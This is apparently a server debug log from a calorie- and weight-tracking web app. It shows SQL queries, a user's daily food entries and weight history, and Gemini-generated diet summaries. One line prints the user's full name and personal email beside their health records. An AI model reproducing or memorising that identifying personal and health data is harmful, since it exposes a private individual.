  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T08:46:26.061Z server-connect:output restrict: undefined
2025-12-24T08:46:26.061Z server-connect:app Executing action step single
2025-12-24T08:46:26.061Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T08:46:26.062Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good start with protein intake from whey, but the overall meal composition appears to be lacking in variety and substantial protein sources beyond the supplement. Meal timing seems reasonable with a pre-workout and post-workout protein, but the main meal could be more balanced. Recovery support is present with the whey protein.",
    bad_points: [
      'Limited variety in food consumed.',
      'Main meal (Poha) may not be sufficiently protein-dense for muscle development goals.',
      'Overall protein intake might be suboptimal without further meals.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout for muscle recovery.',
      'Pre-workout supplement used to support training intensity.',
      'Reasonable meal timing around the workout.'
    ],
    suggestions: [
      'Incorporate more diverse protein sources throughout the day, such as lean meats, fish, legumes, or paneer.',
      'Ensure the main meal includes a good portion of protein and complex carbohydrates.',
      'Consider adding fiber-rich vegetables to meals for better satiety and nutrient intake.',
      'Stay well-hydrated throughout the day.'
    ],
    predicted_weight: 69.5,
    rating_judgement: 'Fairly good',
    predicted_weight_trend: 'Slight downward trend'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T08:46:26.063Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T08:46:26.064Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T08:46:26.064Z server-connect:app Executing action step select
2025-12-24T08:46:26.064Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T08:46:26.066Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  },
  {
    id: 504,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-24T01:28:24.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, contains antioxidants, negligible calories.'
  },
  {
    id: 505,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed cabbage with minimal oil,Cabbage soup,Cabbage salad',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 506,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)',
    replacements: 'Multigrain roti,Jowar/Bajra roti,Brown rice',
    created_at: '2025-12-24T02:31:04.000Z',
    skip_level: 2,
    skip_reason: "While a good source of carbs for energy, 4 rotis might be a bit high for a single meal if you're aiming for muscle development and managing overall calorie intake, especially if you have other carb sources. Consider reducing to 2-3 rotis and adding more protein/vegetables."
  },
  {
    id: 507,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)',
    replacements: 'Smaller guava,Berries (strawberries, blueberries),Cucumber',
    created_at: '2025-12-24T03:16:25.000Z',
    skip_level: 1,
    skip_reason: ''
  }
]
2025-12-24T08:46:26.066Z server-connect:app Executing action step setvalue
2025-12-24T08:46:26.066Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T08:46:26.066Z server-connect:output var_total: 948
2025-12-24T08:46:26.066Z server-connect:app Executing action step setvalue
2025-12-24T08:46:26.066Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T08:46:26.066Z server-connect:output var_consumed: 40
2025-12-24T08:46:26.066Z server-connect:app Executing action step setvalue
2025-12-24T08:46:26.066Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T08:46:26.066Z server-connect:output var_deficit: 1452
2025-12-24T08:46:26.066Z server-connect:app Executing action step custom
2025-12-24T08:46:26.066Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T08:46:26.067Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  },
  {
    intake_date: 2025-12-23T18:30:00.000Z,
    total_consumed: '948',
    surplus_or_deficit: '1452',
    status_flag: 2
  }
]
2025-12-24T08:46:26.068Z server-connect:app Executing action step single
2025-12-24T08:46:26.068Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `weight`, `date` from `health_weight_trackor` order by `created_on` DESC'
  }
}
2025-12-24T08:46:26.068Z server-connect:output current_weight: { weight: '69.70', date: '2025-12-23T18:30:00.000Z' }
2025-12-24T08:46:26.569Z server-connect:app Executing action step identify
2025-12-24T08:46:26.570Z server-connect:app options: { provider: 'security' }
2025-12-24T08:46:26.570Z server-connect:output identity: 1
2025-12-24T08:51:32.613Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-24T08:51:32.614Z server-connect:app Executing action step identify
2025-12-24T08:51:32.614Z server-connect:app options: { provider: 'security' }
2025-12-24T08:51:32.614Z server-connect:output identity: 1
2025-12-24T08:51:32.614Z server-connect:app Executing action step restrict
2025-12-24T08:51:32.614Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:51:32.616Z server-connect:output restrict: undefined
2025-12-24T08:51:32.616Z server-connect:app Executing action step select
2025-12-24T08:51:32.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-24T08:51:32.618Z server-connect:output items_consumed_today: [
  {
    id: 500,
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices'
  },
  {
    id: 501,
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 502,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 503,
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)'
  },
  {
    id: 504,
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 505,
    item_name: 'Patta Gobi Sabji',
    calories: 90,
    protein_gm: 3,
    carbs_gm: 12,
    fat_gm: 4,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 506,
    item_name: 'Roti',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 76,
    fat_gm: 2,
    quantity: '4 rotis (approx 120g total)'
  },
  {
    id: 507,
    item_name: 'White Guava',
    calories: 136,
    protein_gm: 5,
    carbs_gm: 29,
    fat_gm: 1,
    quantity: '1 big size (approx 200g)'
  }
]
2025-12-24T08:51:32.618Z server-connect:app Executing action step paged
2025-12-24T08:51:32.618Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-24T08:51:32.621Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 19,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-23T18:30:00.000Z', weight: '69.70' },
    { date: '2025-12-21T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-20T18:30:00.000Z', weight: '69.80' },
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' }
  ]
}
2025-12-24T08:51:32.622Z server-connect:app Executing action step run
2025-12-24T08:51:32.622Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T08:51:32.623Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '| 504 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 505 | Patta Gobi Sabji | 90 | 3 | 12 | 4 | 1 serving (approx 150g) |\n' +
  '| 506 | Roti | 360 | 12 | 76 | 2 | 4 rotis (approx 120g total) |\n' +
  '| 507 | White Guava | 136 | 5 | 29 | 1 | 1 big size (approx 200g) |\n' +
  '\n'
2025-12-24T08:51:32.623Z server-connect:app Executing action step run
2025-12-24T08:51:32.624Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-24T08:51:32.625Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T08:51:32.625Z server-connect:app Executing action step setvalue
2025-12-24T08:51:32.625Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-24T08:51:32.625Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 500 | Jamfal (Guava) | 30 | 1 | 7 | 0 | 2 slices |\n' +
  '| 501 | Pre-workout supplement | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 502 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 503 | Poha (mixed with tomato, onion, matar) | 200 | 5 | 40 | 3 | 1 serving (approx. 150g cooked) |\n' +
  '| 504 | Green Tea | 2 | 0 | 0 | 0 | 1 cup (approx 240ml) |\n' +
  '| 505 | Patta Gobi Sabji | 90 | 3 | 12 | 4 | 1 serving (approx 150g) |\n' +
  '| 506 | Roti | 360 | 12 | 76 | 2 | 4 rotis (approx 120g total) |\n' +
  '| 507 | White Guava | 136 | 5 | 29 | 1 | 1 big size (approx 200g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-23T18:30:00.000Z | 69.70 |\n' +
  '| 2025-12-21T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-20T18:30:00.000Z | 69.80 |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '\n'
2025-12-24T08:51:32.625Z server-connect:app Executing action step processWithGemini
2025-12-24T08:51:32.625Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-24T08:51:34.928Z server-connect:output health_summary: {
  summary: "Today's food intake appears to be primarily carbohydrate-focused with a moderate amount of protein from the whey supplement and some vegetables. The meal timing seems spread out, which is generally good for sustained energy. However, the overall protein content could be higher to better support muscle development goals, and there's a lack of diverse protein sources.",
  rating: 6,
  rating_judgement: 'Needs improvement',
  good_points: [
    'Consistent gym attendance.',
    'Inclusion of fruits and vegetables.',
    'Whey protein supplement for post-workout recovery.',
    'Meals are somewhat spread throughout the day.'
  ],
  bad_points: [
    'Limited variety in protein sources.',
    'High reliance on carbohydrates, especially from roti.',
    'Potential for lower protein intake to support muscle development.'
  ],
  suggestions: [
    'Incorporate more diverse protein sources like lean meats, fish, lentils, or paneer into meals.',
    'Consider reducing the quantity of roti and increasing the portion of vegetables or adding a protein-rich side.',
    'Ensure adequate hydration throughout the day.',
    'Aim for protein intake spread more evenly across meals, not just post-workout.'
  ],
  predicted_weight_trend: 'Slight downward trend',
  predicted_weight: 69.5
}
2025-12-24T08:51:34.929Z server-connect:app Executing action step condition
2025-12-24T08:51:34.929Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-24T08:51:34.929Z server-connect:app Executing action step delete
2025-12-24T08:51:34.929Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-24T08:51:34.931Z server-connect:output delete: { affected: 1 }
2025-12-24T08:51:34.931Z server-connect:app Executing action step insert
2025-12-24T08:51:34.931Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
